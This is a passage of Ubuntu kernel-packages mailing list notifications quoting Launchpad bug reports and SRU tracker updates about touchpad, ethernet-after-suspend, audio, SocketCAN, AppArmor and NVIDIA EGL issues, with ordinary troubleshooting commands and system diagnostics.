around and disconnects Status in linux package in Ubuntu: Confirmed Bug description: This is on an ASUS GL503VD laptop and would probably affect other ASUS laptops equipped with the ELAN1200 touchpad. I am on Kernel 4.17.2 because older kernels did not enable the touchpad at all(It was just unrecognized or i2c-hid stopped the computer from booting) The touchpad works but it has erratic behaviour and disconnects randomly. After it disconnects the only way to bring it back is to `modprobe -r hid-multitouch && modprobe hid-multitouch` Libinput and synaptics can handle the touchpad though I found synaptics to be more stable. dmesg gets spammed with this whenever I move the touchpad: [timestamp] i2c_hid i2c-ELAN1200:00: i2c_hid_get_input: incomplete report (16/65535) I tried to compile: https://github.com/mishurov/linux_elan1200_touchpad Because from what I understand the "jumpy/disconnect" problem is associated to the incomplete reports and Mishurov managed to mitigate those. Unfortunately some symbols were deprecated in kernel 4.17.2 and it did not compile for my system. While I can use my touchpad as is right now, and "restart" it with modprobe when needed, it would be nice to have it function bug-free. (Right after I typed this my touchpad disconnected and I needed to modprobe again, I am considering making a cronjob for that) Let me know if anything else is needed. Will wait for an apport collection to add log files. --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-10 (11 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) NonfreeKernelModules: nvidia_modeset nvidia Package: linux (not installed) ProcEnviron: TERM=screen PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_CA.UTF-8 SHELL=/bin/bash Tags: bionic Uname: Linux 4.17.2 x86_64 UnreportableReason: The running kernel is not an Ubuntu kernel UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: _MarkForUpload: True To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1778087/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784302] Re: linux: 4.4.0-132.158 -proposed tracker
** Changed in: kernel-sru-workflow/automated-testing Status: New => Confirmed ** Changed in: kernel-sru-workflow/certification-testing Status: New => Confirmed ** Changed in: kernel-sru-workflow/promote-to-proposed Status: Fix Committed => Fix Released ** Changed in: kernel-sru-workflow/regression-testing Status: New => Confirmed ** Changed in: kernel-sru-workflow/security-signoff Status: New => Confirmed ** Changed in: kernel-sru-workflow/snap-release-to-beta Status: New => Confirmed ** Changed in: kernel-sru-workflow/snap-release-to-edge Status: New => Confirmed ** Changed in: kernel-sru-workflow/verification-testing Status: New => Confirmed ** Description changed: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow backports: bug 1784303 (linux-aws), bug 1784304 (linux-lts-xenial) derivatives: bug 1784306 (linux-aws), bug 1784308 (linux-euclid), bug 1784310 (linux-kvm), bug 1784311 (linux-raspi2), bug 1784312 (linux-snapdragon) - kernel-stable-phase:Uploaded - kernel-stable-phase-changed:Thursday, 02. August 2018 09:32 UTC - -- swm properties -- boot-testing-requested: true phase: Uploaded + kernel-stable-phase:Promoted to proposed + kernel-stable-phase-changed:Friday, 03. August 2018 18:03 UTC ** Description changed: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow backports: bug 1784303 (linux-aws), bug 1784304 (linux-lts-xenial) derivatives: bug 1784306 (linux-aws), bug 1784308 (linux-euclid), bug 1784310 (linux-kvm), bug 1784311 (linux-raspi2), bug 1784312 (linux-snapdragon) -- swm properties -- boot-testing-requested: true - phase: Uploaded - kernel-stable-phase:Promoted to proposed - kernel-stable-phase-changed:Friday, 03. August 2018 18:03 UTC + bugs-spammed: true + phase: Promoted to proposed + proposed-announcement-sent: true + proposed-testing-requested: true -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784302 Title: linux: 4.4.0-132.158 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: Confirmed Status in Kernel SRU Workflow certification-testing series: Confirmed Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Released Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: Confirmed Status in Kernel SRU Workflow security-signoff series: Confirmed Status in Kernel SRU Workflow snap-certification-testing series: New Status in Kernel SRU Workflow snap-release-to-beta series: Confirmed Status in Kernel SRU Workflow snap-release-to-candidate series: New Status in Kernel SRU Workflow snap-release-to-edge series: Confirmed Status in Kernel SRU Workflow snap-release-to-stable series: New Status in Kernel SRU Workflow upload-to-ppa series: Invalid Status in Kernel SRU Workflow verification-testing series: Confirmed Status in linux package in Ubuntu: Invalid Status in linux source package in Xenial: Confirmed Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow backports: bug 1784303 (linux-aws), bug 1784304 (linux-lts-xenial) derivatives: bug 1784306 (linux-aws), bug 1784308 (linux-euclid), bug 1784310 (linux-kvm), bug 1784311 (linux-raspi2), bug 1784312 (linux-snapdragon) -- swm properties -- boot-testing-requested: true bugs-spammed: true phase: Promoted to proposed proposed-announcement-sent: true proposed-testing-requested: true To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1784302/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1783241] Re: [HMS] Upgrades to Support SocketCAN over USB on Dell IoT 300x Gateways
This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed- xenial' to 'verification-done-xenial'. If the problem still exists, change the tag 'verification-needed-xenial' to 'verification-failed- xenial'. If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you! ** Tags added: verification-needed-xenial -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1783241 Title: [HMS] Upgrades to Support SocketCAN over USB on Dell IoT 300x Gateways Status in linux package in Ubuntu: Confirmed Status in linux source package in Xenial: Fix Committed Bug description: Several scheduled upgrades to the HMS SocketCAN protocol driver over USB->CAN interface are required. SocketCAN support for USB->CAN devices was introduced in Ubuntu Xenial LTS kernel through following patch (BugLink: http://bugs.launchpad.net/bugs/1774563): cddf58207a3c UBUNTU: SAUCE: (no-up) Support IXXAT USB SocketCAN device == SRU Justification == The scheduled upgrades include following changes: - support adapters for CL1 (Communication Layer for legacy devices) and CL2 (current devices) - removed CAN-IDM100 support (Microchip Rev A microcontroller) - add CAN-IDM101 support (Microchip Rev B microcontroller) - add Error-Passive recognition - move CAN message handling to the core module - use ktime API for timestamps - fixes Linux kernel coding style issues == Fix == UBUNTU: SAUCE: (no-up) upgrade IXXAT USB SocketCAN driver == Regression Potential == Low. The driver will be built only for amd64 kernels and attach itself to IXXAT USB-CAN adapters with VID 0x08d8. Also, patches from the vendor (HMS) have already been tested by Dell/ODM, Canonical QA on Dell 300x Edge IoT gateways. This bug is for tracking purposes only, please do not triage. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1783241/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1779830] Re: vfio/pci: cannot assign a i40e pf device to a vm using vfio-pci
This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed- xenial' to 'verification-done-xenial'. If the problem still exists, change the tag 'verification-needed-xenial' to 'verification-failed- xenial'. If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you! ** Tags added: verification-needed-xenial -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1779830 Title: vfio/pci: cannot assign a i40e pf device to a vm using vfio-pci Status in linux package in Ubuntu: In Progress Status in linux source package in Xenial: Fix Committed Bug description: The following upstream patch (v4.7) is missing in xenial: 450744051d20 ("vfio/pci: Hide broken INTx support from user") http://scm/kernels/linux-upstream/commit/?id=450744051d20 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1779830/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1780227] Re: locking sockets broken due to missing AppArmor socket mediation patches
This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed- xenial' to 'verification-done-xenial'. If the problem still exists, change the tag 'verification-needed-xenial' to 'verification-failed- xenial'. If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you! ** Tags added: verification-needed-xenial -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1780227 Title: locking sockets broken due to missing AppArmor socket mediation patches Status in apparmor package in Ubuntu: Invalid Status in linux package in Ubuntu: Fix Committed Status in apparmor source package in Xenial: Invalid Status in linux source package in Xenial: Fix Committed Status in apparmor source package in Bionic: Invalid Status in linux source package in Bionic: Fix Committed Bug description: Hey, Newer systemd makes use of locks placed on AF_UNIX sockets created with the socketpair() syscall to synchronize various bits and pieces when isolating services. On kernels prior to 4.18 that do not have backported the AppArmor socket mediation patchset this will cause the locks to be denied with EACCESS. This causes systemd to be broken in LXC and LXD containers that do not run unconfined which is a pretty big deal. We have seen various bug reports related to this. See for example [1] and [2]. If feasible it would be excellent if we could backport the socket mediation patchset to all LTS kernels. Afaict, this should be 4.4 and 4.15. This will unbreak a whole range of use-cases. The socket mediation patchset is available here: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=80a17a5f501ea048d86f81d629c94062b76610d4 [1]: https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/1575779 [2]: https://github.com/systemd/systemd/issues/9493 Thanks! Christian To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/1780227/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1620762] Re: Support AverMedia DVD EZMaker 7 USB video capture dongle
This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed- xenial' to 'verification-done-xenial'. If the problem still exists, change the tag 'verification-needed-xenial' to 'verification-failed- xenial'. If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you! ** Tags added: verification-needed-xenial -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1620762 Title: Support AverMedia DVD EZMaker 7 USB video capture dongle Status in linux package in Ubuntu: Fix Released Status in linux source package in Xenial: Fix Committed Bug description: Linux doesn't support this capture. Link to patch https://www.linuxtv.org/wiki/index.php/AVerMedia_DVD_EZMaker_7_(C039). I tested it on Ubuntu 16.04 - OK. It will be great if this patch is built-in to kernel. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1620762/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1752772] Re: r8169 ethernet card don't work after returning from suspension
For some reason my wired connection in 18.04 suddenly stopped working. Wifi was fine. I spend 24 hours trying everything to get it back, including factory resetting the router, changing network cables, and reinstalling Xubuntu many times. After fighting with Acer's buggy secure boot system I managed to get 18.04.1 installed but STILL no wired connection. I tried removing the driver module and adding it back but still no change. Then I tried suspending my laptop and waking it up. BINGO. Wired connection came on as it was supposed to. I don't know what the bug is but it hasn't been fixed and on my hardware at least Wired Connections are broken by default. Only after suspending does it seem to fix itself. Hope that helps devs. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1752772 Title: r8169 ethernet card don't work after returning from suspension Status in linux package in Ubuntu: Fix Released Status in linux source package in Bionic: Fix Released Bug description: ===SRU Justification=== [Impact] Ethernet r8169 stops working after system resumed from suspend. [Test] User confirmed these patches fix the issue. r8169 continues to work after resume from suspend. [Regression Potential] Medium. The fix is limited to one device, all patches are in mainline. The WOL default change might cause regression for users that depend on BIOS settings. We can advice them to use userspace tool (systemd, ethtool, etc.) instead. ===Original Bug Report=== I have noticed that the network stopped working on my desktop after I've suspended the system and woke it up. On dmesg there are messages like: [ 150.877998] IPv6: ADDRCONF(NETDEV_UP): enp1s0: link is not ready [ 150.944101] do_IRQ: 3.37 No irq handler for vector [ 150.944105] r8169 :01:00.0 enp1s0: link down [ 150.944180] IPv6: ADDRCONF(NETDEV_UP): enp1s0: link is not ready When using Xenial (from a different install), this problem is not happening. This is happening on Bionic. There are only two ways to restore connectivity: 1) Reboot the system; 2) Remove the r8169 module and reinsert it with modprobe. The motherboard is a AsRock H55M-LE and the Ethernet controller is: 01:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller (rev 03) ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: linux-firmware 1.172 ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3 Uname: Linux 4.15.0-10-generic x86_64 ApportVersion: 2.20.8-0ubuntu10 Architecture: amd64 CurrentDesktop: LXDE Date: Fri Mar 2 00:21:57 2018 Dependencies: InstallationDate: Installed on 2018-02-26 (3 days ago) InstallationMedia: Lubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20180226) PackageArchitecture: all SourcePackage: linux-firmware UpgradeStatus: No upgrade log present (probably fresh install) --- AlsaVersion: Advanced Linux Sound Architecture Driver Version k4.15.0-10-generic. ApportVersion: 2.20.8-0ubuntu10 Architecture: amd64 ArecordDevices: List of CAPTURE Hardware Devices card 0: MID [HDA Intel MID], device 0: VT1818S Analog [VT1818S Analog] Subdevices: 1/1 Subdevice #0: subdevice #0 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: usuario1153 F pulseaudio /dev/snd/controlC1: usuario1153 F pulseaudio Card0.Amixer.info: Card hw:0 'MID'/'HDA Intel MID at 0xfbdf8000 irq 26' Mixer name : 'VIA VT1818S' Components : 'HDA:11060440,18492818,0010' Controls : 40 Simple ctrls : 17 Card1.Amixer.info: Card hw:1 'HDMI'/'HDA ATI HDMI at 0xfbffc000 irq 27' Mixer name : 'ATI R6xx HDMI' Components : 'HDA:1002aa01,00aa0100,00100200' Controls : 7 Simple ctrls : 1 Card1.Amixer.values: Simple mixer control 'IEC958',0 Capabilities: pswitch pswitch-joined Playback channels: Mono Mono: Playback [on] CurrentDesktop: LXDE Dependencies: DistroRelease: Ubuntu 18.04 HibernationDevice: RESUME=UUID=edd83175-c707-4b31-90d2-ce2f5cebc73f InstallationDate: Installed on 2018-02-26 (3 days ago) InstallationMedia: Lubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20180226) MachineType: To Be Filled By O.E.M. To Be Filled By O.E.M. Package: linux-firmware 1.172 PackageArchitecture: all ProcFB: 0 radeondrmfb ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz root=UUID=0c4fc517-b7a0-49b0-bfcb-0485dfe6413b ro quiet ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3 RelatedPackageVersions: linux-restricted-modules-4.15.0-10-generic N/A linux-backports-modules-4.15.0-10-generic N/A linux-firmware 1.172 RfKill: Tags: bionic Uname: Linux 4.15.0-10-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install)
[Kernel-packages] [Bug 1784310] Re: linux-kvm: 4.4.0-1030.36 -proposed tracker
** Changed in: kernel-sru-workflow/automated-testing Status: New => Confirmed ** Changed in: kernel-sru-workflow/certification-testing Status: New => Confirmed ** Changed in: kernel-sru-workflow/promote-to-proposed Status: Fix Committed => Fix Released ** Changed in: kernel-sru-workflow/regression-testing Status: New => Confirmed ** Changed in: kernel-sru-workflow/security-signoff Status: New => Confirmed ** Changed in: kernel-sru-workflow/verification-testing Status: New => Confirmed ** Changed in: kernel-sru-workflow/automated-testing Status: Confirmed => Fix Released ** Description changed: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true kernel-stable-master-bug: 1784302 phase: Uploaded + kernel-stable-phase:Promoted to proposed + kernel-stable-phase-changed:Friday, 03. August 2018 19:33 UTC ** Description changed: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true kernel-stable-master-bug: 1784302 - phase: Uploaded - kernel-stable-phase:Promoted to proposed - kernel-stable-phase-changed:Friday, 03. August 2018 19:33 UTC + phase: Promoted to proposed + proposed-announcement-sent: true + proposed-testing-requested: true -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-kvm in Ubuntu. https://bugs.launchpad.net/bugs/1784310 Title: linux-kvm: 4.4.0-1030.36 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: Fix Released Status in Kernel SRU Workflow certification-testing series: Confirmed Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Released Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: Confirmed Status in Kernel SRU Workflow security-signoff series: Confirmed Status in Kernel SRU Workflow upload-to-ppa series: New Status in Kernel SRU Workflow verification-testing series: Confirmed Status in linux-kvm package in Ubuntu: Invalid Status in linux-kvm source package in Xenial: Confirmed Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true kernel-stable-master-bug: 1784302 phase: Promoted to proposed proposed-announcement-sent: true proposed-testing-requested: true To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1784310/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1502155] Re: [20AQ0069GE, Realtek ALC3232, Speaker, Internal] crackling sound while booting Unity-Desktop
This solved the issue for me: https://ubuntuforums.org/showthread.php?t=2338349 Basically, what I did was Start alsamixer with this command: alsamixer -c1 And then: 1. Navigate to the Loopback channel rightmost with arrow-key 2. Disable the Channel by pressing the arrow-down-key once 3. Save and quit the alsamixer with ESC Reboot. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1502155 Title: [20AQ0069GE, Realtek ALC3232, Speaker, Internal] crackling sound while booting Unity-Desktop Status in linux package in Ubuntu: Invalid Bug description: Machine is an T440s. Todays Daily Build of Ubuntu Unity, but was also on Ubuntu 15.10 Beta While booting into Desktop a crackling sound appears (like connect speakers or headphones to a music player if not muted) and it sounds very unhealthy to the speakers. When using Debian Testing I have the issue while booting. With Fedora 23 Beta its also the same while booting. Always this unhealthy sounding crackling noise and then working normal after booting is finished. Muting is working, volume selecting is working without any issues, just while booting to Desktop there seems to be something not working properly while initializing internal speakers. On latest Ubuntu 14.04.3 there is no crackling while booting. Just booting normally into Desktop. You can hear that the speakers are initialized with a very silent plopping sound (as also in Debian Stable) but I think I start observing it just because of this crackling sound before. I was running Ubuntu 14.04.2 plus LTS Enabled Stack before and there were also no such issues. ProblemType: Bug DistroRelease: Ubuntu 15.10 Package: alsa-base 1.0.25+dfsg-0ubuntu5 ProcVersionSignature: Ubuntu 4.2.0-12.14-generic 4.2.1 Uname: Linux 4.2.0-12-generic x86_64 ApportVersion: 2.19-0ubuntu1 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/pcmC1D0p: ubuntu 1987 F...m pulseaudio /dev/snd/controlC1: ubuntu 1987 F pulseaudio /dev/snd/controlC0: ubuntu 1987 F pulseaudio CasperVersion: 1.365 CurrentDesktop: Unity Date: Fri Oct 2 13:32:32 2015 LiveMediaBuild: Ubuntu 15.10 "Wily Werewolf" - Alpha amd64 (20151002) PackageArchitecture: all ProcEnviron: PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: alsa-driver Symptom: audio Symptom_AlsaPlaybackTest: ALSA playback test through plughw:PCH successful Symptom_Card: Built-in Audio - HDA Intel PCH Symptom_Jack: Speaker, Internal Symptom_PulsePlaybackTest: PulseAudio playback test successful Symptom_Type: None of the above Title: [20AQ0069GE, Realtek ALC3232, Speaker, Internal] Playback problem UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 06/22/2015 dmi.bios.vendor: LENOVO dmi.bios.version: GJET84WW (2.34 ) dmi.board.asset.tag: Not Available dmi.board.name: 20AQ0069GE dmi.board.vendor: LENOVO dmi.board.version: 0B98401 PRO dmi.chassis.asset.tag: No Asset Information dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: Not Available dmi.modalias: dmi:bvnLENOVO:bvrGJET84WW(2.34):bd06/22/2015:svnLENOVO:pn20AQ0069GE:pvrThinkPadT440s:rvnLENOVO:rn20AQ0069GE:rvr0B98401PRO:cvnLENOVO:ct10:cvrNotAvailable: dmi.product.name: 20AQ0069GE dmi.product.version: ThinkPad T440s dmi.sys.vendor: LENOVO --- ApportVersion: 2.19-0ubuntu1 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC1: ubuntu 2025 F pulseaudio /dev/snd/controlC0: ubuntu 2025 F pulseaudio CasperVersion: 1.365 CurrentDesktop: Unity DistroRelease: Ubuntu 15.10 LiveMediaBuild: Ubuntu 15.10 "Wily Werewolf" - Alpha amd64 (20151002) MachineType: LENOVO 20AQ0069GE Package: linux (not installed) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/casper/vmlinuz.efi file=/cdrom/preseed/username.seed boot=casper quiet splash --- ProcVersionSignature: Ubuntu 4.2.0-12.14-generic 4.2.1 RelatedPackageVersions: linux-restricted-modules-4.2.0-12-generic N/A linux-backports-modules-4.2.0-12-generic N/A linux-firmware1.148 Tags: wily UdevLog: Error: [Errno 2] No such file or directory: '/var/log/udev' Uname: Linux 4.2.0-12-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 06/22/2015 dmi.bios.vendor: LENOVO dmi.bios.version: GJET84WW (2.34 ) dmi.board.asset.tag: Not Available dmi.board.name: 20AQ0069GE dmi.board.vendor: LENOVO dmi.board.version: 0B98401 PRO dmi.chassis.asset.tag:
[Kernel-packages] [Bug 1731968] Re: 384.90-0ubuntu0.16.04.2 EGL crashes at startup
This is still a problem in 396.45 on Ubuntu 16.04. The minimal test case fails, and EGL doesn't work cleanly. Tested on clean installation with an Nvidia Titan Xp and Titan X (Pascal). ** Also affects: nvidia-graphics-drivers-390 (Ubuntu) Importance: Undecided Status: New ** Also affects: nvidia-graphics-drivers (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to nvidia-graphics-drivers-390 in Ubuntu. https://bugs.launchpad.net/bugs/1731968 Title: 384.90-0ubuntu0.16.04.2 EGL crashes at startup Status in nvidia-graphics-drivers package in Ubuntu: New Status in nvidia-graphics-drivers-384 package in Ubuntu: Confirmed Status in nvidia-graphics-drivers-390 package in Ubuntu: New Bug description: Release: Ubuntu 16.04.3 LTS Package version: 384.90-0ubuntu0.16.04.2 In the latest driver 384.90-0ubuntu0.16.04.2, EGL initialisation is now broken and the GL context returned is inconsistent leading to crashes. I have prepared a minimised testcase that showcases the problem with the latest driver. I have also made sure it works fine with both previous versions 384.90-0ubuntu0.16.04.1 and 384.81-0ubuntu1 in a clean install. Here's the code: https://gist.github.com/funchal/bff0a8d6dae5b3ace1a88c392416b5bc It can be compiled using "gcc main.c -lGL -lEGL". The crash is: egl 1.4 a.out: main.c:59: main: Assertion `renderer' failed. Aborted (core dumped) This is caused by NULL return from glGetString for GL renderer. Note this isn't the only way to cause a crash, for example attempting to use the GL context in other ways will also crash, but this shows the regression in a minimal testcase. Previous drivers successfully complete the testcase with return code 0. I have tested this on both a desktop machine with a GTX 1080, and a display-less server with a Tesla K80, with a fresh Ubuntu install. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/nvidia-graphics-drivers/+bug/1731968/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1779817] Re: r8169 no internet after suspending
@Kai-Heng With this kernel version, unfortunately my network doesn't come up at all (even after fresh power on. Reloading driver does not help). -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1779817 Title: r8169 no internet after suspending Status in linux package in Ubuntu: Confirmed Bug description: When my computer wakes up from suspending, there's no internet. Unplugging and replugging cable doesn't work, restarting network service doesn't work also. Only after restarting the computer, internet comes back. It only started happening after I freshly installed Ubuntu Budgie (18.04) and did all the system updates. Before I was using Ubuntu with Unity (16.04) and there was no problems with my internet. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: linux-image-4.15.0-24-generic 4.15.0-24.26 ProcVersionSignature: Ubuntu 4.15.0-24.26-generic 4.15.18 Uname: Linux 4.15.0-24-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: minihydra 2085 F pulseaudio /dev/snd/controlC0: minihydra 2085 F pulseaudio /dev/snd/controlC1: minihydra 2085 F pulseaudio CurrentDesktop: Budgie:GNOME Date: Tue Jul 3 10:13:19 2018 HibernationDevice: RESUME=UUID=3747bab8-c258-4600-bc24-5d1f56a642dd InstallationDate: Installed on 2018-07-02 (1 days ago) InstallationMedia: Ubuntu-Budgie 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) IwConfig: enp2s0no wireless extensions. lono wireless extensions. MachineType: System manufacturer System Product Name ProcFB: 0 nouveaufb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-24-generic root=UUID=a5ceb36e-76f7-4bd4-a37b-0b91b995c635 ro quiet splash vt.handoff=1 RelatedPackageVersions: linux-restricted-modules-4.15.0-24-generic N/A linux-backports-modules-4.15.0-24-generic N/A linux-firmware 1.173.1 RfKill: SourcePackage: linux UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 06/28/2010 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 2103 dmi.board.asset.tag: To Be Filled By O.E.M. dmi.board.name: M4A77T dmi.board.vendor: ASUSTeK Computer INC. dmi.board.version: Rev X.0x dmi.chassis.asset.tag: Asset-1234567890 dmi.chassis.type: 3 dmi.chassis.vendor: Chassis Manufacture dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr2103:bd06/28/2010:svnSystemmanufacturer:pnSystemProductName:pvrSystemVersion:rvnASUSTeKComputerINC.:rnM4A77T:rvrRevX.0x:cvnChassisManufacture:ct3:cvrChassisVersion: dmi.product.family: To Be Filled By O.E.M. dmi.product.name: System Product Name dmi.product.version: System Version dmi.sys.vendor: System manufacturer To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1779817/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1785171] Re: Intel I219-V Ethernet Interface on Ubuntu Linux Using e1000e Driver keeps Dropping Internet Connection
